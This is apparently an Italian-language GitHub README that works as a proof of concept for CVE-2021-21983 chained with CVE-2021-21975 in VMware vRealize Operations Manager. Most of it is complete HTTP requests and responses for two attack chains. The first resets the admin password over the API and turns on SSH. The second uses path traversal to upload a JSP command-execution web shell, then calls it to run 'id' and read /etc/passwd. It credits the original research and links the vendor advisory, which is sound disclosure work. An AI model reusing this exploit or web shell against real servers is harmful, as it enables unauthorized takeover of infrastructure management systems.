murataydemir/cve-2021-21983[CVE-2021-21983] VMware vRealize Operations (vROps) Manager API Arbitrary File Write Leads to Remote Code Execution (RCE)
[CVE-2021-21975] VMware vRealize Operations (vROps) Manager API: scrittura arbitraria di file che porta all'esecuzione di codice in remoto (RCE)
vRealize Operations (vROps) è uno strumento che offre una gestione autonoma delle operazioni IT basata sull'intelligenza artificiale, dalle applicazioni all'infrastruttura, per ottimizzare, pianificare e scalare le distribuzioni VMware Cloud e HCI, unificando al contempo il monitoraggio del cloud pubblico. L'API di VMware vRealize Operations Manager 8.4 and all previous versions è soggetta alla vulnerabilità Server Side Request Forgery (SSRF). Lo sfruttamento riuscito di questa vulnerabilità può consentire di leggere o aggiornare risorse interne e, in questo caso, un attaccante può facilmente rubare le credenziali amministrative del server vROps. Combinando CVE-2021-21975 e CVE-2021-21983, un attaccante può eseguire codice arbitrario sul server vRealize Operations remoto.
Catena di attacco 1, Fase 1: Dopo aver ottenuto un token di autorizzazione valido (per maggiori informazioni su come ottenere il token di autorizzazione, visitare CVE-2021-21975, per sfruttare la vulnerabilità CVE-2021-21983, è possibile utilizzare la funzionalità di reset della password del metodo API
PUT /casa/os/slice/user HTTP/1.1
Host: vulnerablehost
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
Content-Type: application/json
Connection: close
Content-Length: 47
{"username":"admin","password":"P@ssw0rd!"}
Di seguito la risposta alla richiesta precedente:
HTTP/1.1 200 200
Date: Mon, 14 Mar 2022 10:14:04 GMT
Server: Apache
X-VSCM-Request-Id: 2q0012uV
Set-Cookie: JSESSIONID=3EF7C5C58CB8056BF7799B6C7A713AAA; Path=/casa; Secure; HttpOnly
Content-Length: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: data: 'unsafe-inline' 'unsafe-eval'; child-src *
Connection: close
Catena di attacco 1, Fase 2: Quindi, abilitiamo semplicemente il servizio ssh sull'appliance vROps come segue:
POST /casa/ssh/enable HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 68
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
{"is_ssh_enabled":true,"is_ssh_disabled":false,"ssh_status":false}
Di seguito la risposta alla richiesta precedente:
HTTP/1.1 200 200
Date: Fri, 25 Feb 2022 15:23:01 GMT
Server: Apache
X-VSCM-Request-Id: 2q000TKm
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: data: 'unsafe-inline' 'unsafe-eval'; child-src *
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 66
{"is_ssh_enabled":true,"is_ssh_disabled":false,"ssh_status":false}
Dopo aver attivato il servizio SSH sul target, possiamo semplicemente stabilire una connessione con l'istanza vROps remota, in questo modo
root@kali[ ~ ] # ssh admin@vulnerablehost
vRealize Operations Manager Appliance
admin@vulnerablehost's password:
Last Login: Fri Feb 25 15:19:31 2022 from Your_IP_Address
admin@vRealizeClusterNode [ ~ ] $ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@vRealizeClusterNode [ ~ ] $
Catena di attacco 2, Fase 1: Sfruttamento del File Path Traversal e caricamento di una web shell leggera
POST /casa/private/config/slice/ha/certificate HTTP/1.1
Host: vulnerablehost
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysCyD1z0cA1bkcfxK
Content-Length: 914
------WebKitFormBoundarysCyD1z0cA1bkcfxK
Content-Disposition: form-data; name="name"
../../../../../usr/lib/vmware-casa/casa-webapp/webapps/casa/webs3ll.jsp
------WebKitFormBoundarysCyD1z0cA1bkcfxK
Content-Disposition: form-data; name="file"; filename="egal"
Content-Type: text/html
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
------WebKitFormBoundarysCyD1z0cA1bkcfxK--
Di seguito la risposta alla richiesta precedente:
HTTP/1.1 200 200
Date: Mon, 14 Mar 2022 10:57:05 GMT
Server: Apache
X-VSCM-Request-Id: 2q0012yJ
Set-Cookie: JSESSIONID=98FB01BB058DCB392FCF76F6FD9039DC; Path=/casa; Secure; HttpOnly
Content-Length: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: data: 'unsafe-inline' 'unsafe-eval'; child-src *
Connection: close
Catena di attacco 2, Fase 2: Effettuare una richiesta per invocare la web shell caricata
GET /casa/webs3ll.jsp?cmd=id HTTP/1.1
Host: vulnerablehost
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
Connection: close
Di seguito la risposta alla richiesta precedente:
HTTP/1.1 200 200
Date: Wed, 16 Mar 2022 12:45:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=816B1BFE4721A9407C4AAD8E822B83C6; Path=/casa; Secure; HttpOnly
Content-Length: 98
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: data: 'unsafe-inline' 'unsafe-eval'; child-src *
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Command: id<BR>
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
Lettura del contenuto del file /etc/passwd
GET /casa/webs3ll.jsp?cmd=cat%20/etc/passwd HTTP/1.1
Host: vulnerablehost
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpTZzVzUW1ZODJLb0NZZ1dFdi9Ia0JMeGE=
Connection: close
HTTP/1.1 200 200
Date: Mon, 14 Mar 2022 11:05:36 GMT
Server: Apache
Set-Cookie: JSESSIONID=F98859D8C48095AEC2B91A468E74DCC6; Path=/casa; Secure; HttpOnly
Content-Length: 1017
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: data: 'unsafe-inline' 'unsafe-eval'; child-src *
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Command: cat /etc/passwd<BR>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/dev/null:/bin/false
daemon:x:6:6:Daemon User:/dev/null:/bin/false
messagebus:x:18:18:D-Bus Message Daemon User:/var/run/dbus:/bin/false
systemd-bus-proxy:x:72:72:systemd Bus Proxy:/:/bin/false
systemd-journal-gateway:x:73:73:systemd Journal Gateway:/:/bin/false
systemd-journal-remote:x:74:74:systemd Journal Remote:/:/bin/false
systemd-journal-upload:x:75:75:systemd Journal Upload:/:/bin/false
systemd-network:x:76:76:systemd Network Management:/:/bin/false
systemd-resolve:x:77:77:systemd Resolver:/:/bin/false
systemd-timesync:x:78:78:systemd Time Synchronization:/:/bin/false
nobody:x:65534:65533:Unprivileged User:/dev/null:/bin/false
sshd:x:50:50:sshd PrivSep:/var/lib/sshd:/bin/false
apache:x:25:25:Apache Server:/srv/www:/bin/false
ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false
named:x:999:999::/var/lib/bind:/bin/false
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/9.6:/bin/bash
Crediti e articolo originale sono disponibili al link https://swarm.ptsecurity.com/catching-bugs-in-vmware-carbon-black-cloud-workload-appliance-and-vrealize-operations-manager/
Per maggiori informazioni sulla correzione di questa vulnerabilità, visitare https://www.vmware.com/security/advisories/VMSA-2021-0004.html